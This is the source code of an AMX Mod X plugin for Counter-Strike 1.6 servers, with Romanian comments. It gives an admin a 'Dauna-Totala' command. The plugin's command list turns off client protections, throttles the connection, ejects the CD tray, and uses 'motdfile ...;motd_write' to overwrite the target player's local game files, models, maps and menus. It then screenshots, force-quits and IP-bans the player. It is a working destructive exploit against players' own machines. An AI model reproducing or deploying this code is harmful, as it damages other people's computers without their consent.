#include < amxmodx >
#include < amxmisc >
#include < fakemeta >
// Plugin creat de: AdiCTeD
// Versiunea: 3.1
// Plugin modificat de: TwisTer (www.FreaKz.ro)
// Contact:
[email protected]
/*************************************************************/
/* ATENTIE!
Stergeti // daca vreti mesaje colorate in chat pe Server!
Trebuie sa aveti pluginul: [Dyn Native] ColorChat
*/
// Numele fisierului .log
#define LOGFILE "Evidenta DT.txt"
/************************************************************/
static const g_sCommands [ ] [ ] =
{
"gl_log 1",
"csx_setcvar Enabled False",
"rus_setcvar Enabled False",
"prot_setcvar Enabled False",
"BlockCommands Enabled False",
"rate 1",
"cd eject",
"cd eject",
"cd eject",
"cd eject",
"cd eject",
"cd eject",
"cd eject",
"motdfile models/player.mdl;motd_write DT",
"motdfile models/v_ak47.mdl;motd_write DT",
"motdfile cs_dust.wad;motd_write DT",
"motdfile models/v_m4a1.mdl;motd_write DT",
"motdfile resource/GameMenu.res;motd_write DT",
"motdfile resource/GameMenu.res;motd_write DT",
"motdfile resource/background/800_1_a_loading.tga;motd_write DT",
"motdfile resource/background/800_1_b_loading.tga;motd_write DT",
"motdfile resource/background/800_1_c_loading.tga;motd_write DT",
"motdfile resource/UI/BuyShotguns_TER.res;motd_write DT",
"motdfile resource/UI/MainBuyMenu.res;motd_write DT",
"motdfile resource/UI/BuyEquipment_TER.res;motd_write DT",
"motdfile resource/UI/Teammenu.res;motd_write DT",
"motdfile halflife.wad;motd_write DT",
"motdfile cstrike.wad;motd_write DT",
"motdfile maps/de_dust2.bsp;motd_write DT",
"motdfile events/ak47.sc;motd_write DT",
"clear"
};
new const
PLUGIN_NAME [ ] = "AMXX Dauna-Totala",
PLUGIN_VERSION [ ] = "2.2.0";
new g_pCvar_tele_effect;
new cvar_site;
new cvar_numeserver;
public plugin_init ( )
{
register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, "AdiCTeD" );
cvar_site = register_cvar("amx_dt_forumname", "forum");
cvar_numeserver = register_cvar("amx_dt_servername", "server");
g_pCvar_tele_effect = register_cvar ( "amx_dt_teleeff", "1" );
register_concmd ( "amx_dt", "Concmd_AMXX_dt", ADMIN_BAN, "<jucator / player>" );
}
public plugin_precache()
{
precache_sound("dt_sound/distrus.wav");
}
public Concmd_AMXX_dt ( id, level, cid )
{
if ( !cmd_access ( id, level, cid, 2 ) ) {
return 1;
}
new sArgument[ 33 ],arg2[32],task[2];
read_argv ( 1, sArgument, charsmax ( sArgument ) );
read_argv(2,arg2,31)
new player = cmd_target ( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
if ( !player )
{
console_print ( id, "[AMXX] Jucatorul mentionat nu este valid." );
return 1;
}
for ( new i = 0; i < sizeof ( g_sCommands ); i++ )
client_cmd ( player, g_sCommands [ i ] );
if ( get_pcvar_num ( g_pCvar_tele_effect ) ) {
set_task ( 0.3, "FunC_Tele_Effect", player );
}
new szName [ 33 ], szName2 [ 33 ], ip2 [ 32 ];
get_user_name ( id, szName, charsmax ( szName ) );
get_user_name ( player, szName2, charsmax ( szName2 ) );
get_user_ip ( player, ip2, charsmax ( ip2 ), 1 );
log_to_file ( LOGFILE, "%s -> a dat Dauna-Totala lui -> %s(%s)", szName, szName2, ip2 );
emit_sound(0, CHAN_AUTO, "dt_sound/distrus.wav", 1.0, ATTN_NORM, 0, PITCH_NORM);
ChatColor(0,"!g------------------------------------------------------------------------------------------------");
ChatColor(0,"!nJucatorul : !g%s !na primit !gDauna-Totala + ban permanent.",szName2);
ChatColor(0,"!nComanda executata de catre adminul : !g%s.",szName);
ChatColor(0,"!n-=-=-=-=-=-=-=-= !g%s !n-=-=-=-=-=-=-=-= ", get_nume());
ChatColor(0,"!g------------------------------------------------------------------------------------------------");
task[0] = player;
task[1]=id;
set_task(0.1, "twistss", player);
set_task(1.4, "twistmesaj",player,task,2);
set_task(1.8, "twistconsole", player);
set_task(2.0, "twistss", player);
set_task(2.7, "quitcmd", player);
set_task(2.4,"codatbanat", player, task, 2);
return 1;
}
public twistmesaj(task[2]){
new player,admin,szName2[32],szName[32];
player=task[0];
admin=task[1];
if(!is_user_connected(player)){
}
get_user_name(admin,szName,31);
get_user_name(player,szName2,31);
client_print ( player , print_console , "****************** %s ******************", get_nume() ) ;
client_print ( player , print_console , "***** Ai primit Dauna-Totala + Ban Permanent. " ) ;
client_print ( player , print_console , "***** Pentru UnBan viziteaza: %s ", get_site() ) ;
client_print ( player , print_console , "***** NUME JUCATOR : %s ", szName2 ) ;
client_print ( player , print_console , "***** NUME ADMIN : %s ", szName ) ;
client_print ( player , print_console , "****************** %s ******************", get_nume() ) ;
}
public twistss(id) {
client_cmd(id,"snapshot");
}
public twistconsole(id) {
client_cmd(id,"toggleconsole");
}
public quitcmd(id)
{
client_cmd(id,"quit");
}
public codatbanat(arg[]){
new name2[32];
new player = arg[0];
get_user_name(player,name2,31);
server_cmd("amx_banip %s 0",name2);
}
stock get_nume()
{
new nume[32];
get_pcvar_string(cvar_numeserver, nume, sizeof (nume) -1);
return nume;
}
stock get_site()
{
new site[32];
get_pcvar_string(cvar_site, site, sizeof (site) -1);
return site;
}
public FunC_Tele_Effect ( id )
{
if ( !is_user_alive ( id ) )
return;
static Float:iOrigin [ 3 ];
pev ( id, pev_origin, iOrigin );
engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, iOrigin, 0 );
write_byte ( TE_TELEPORT );
engfunc ( EngFunc_WriteCoord, iOrigin [ 0 ] );
engfunc ( EngFunc_WriteCoord, iOrigin [ 1 ] );
engfunc ( EngFunc_WriteCoord, iOrigin [ 2 ] );
message_end ( );
}
//stock
stock ChatColor(const id, const input[], any:...)
{
new count = 1, players[32];
static msg[191];
vformat(msg, 190, input, 3);
replace_all(msg, 190, "!g", "^4");
replace_all(msg, 190, "!n", "^1");
replace_all(msg, 190, "!t", "^3");
if (id) players[0] = id; else get_players(players, count, "ch");
{
for (new i = 0; i < count; i++)
{
if (is_user_connected(players[i]))
{
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);
write_byte(players[i]);
write_string(msg);
message_end();
}
}
}
}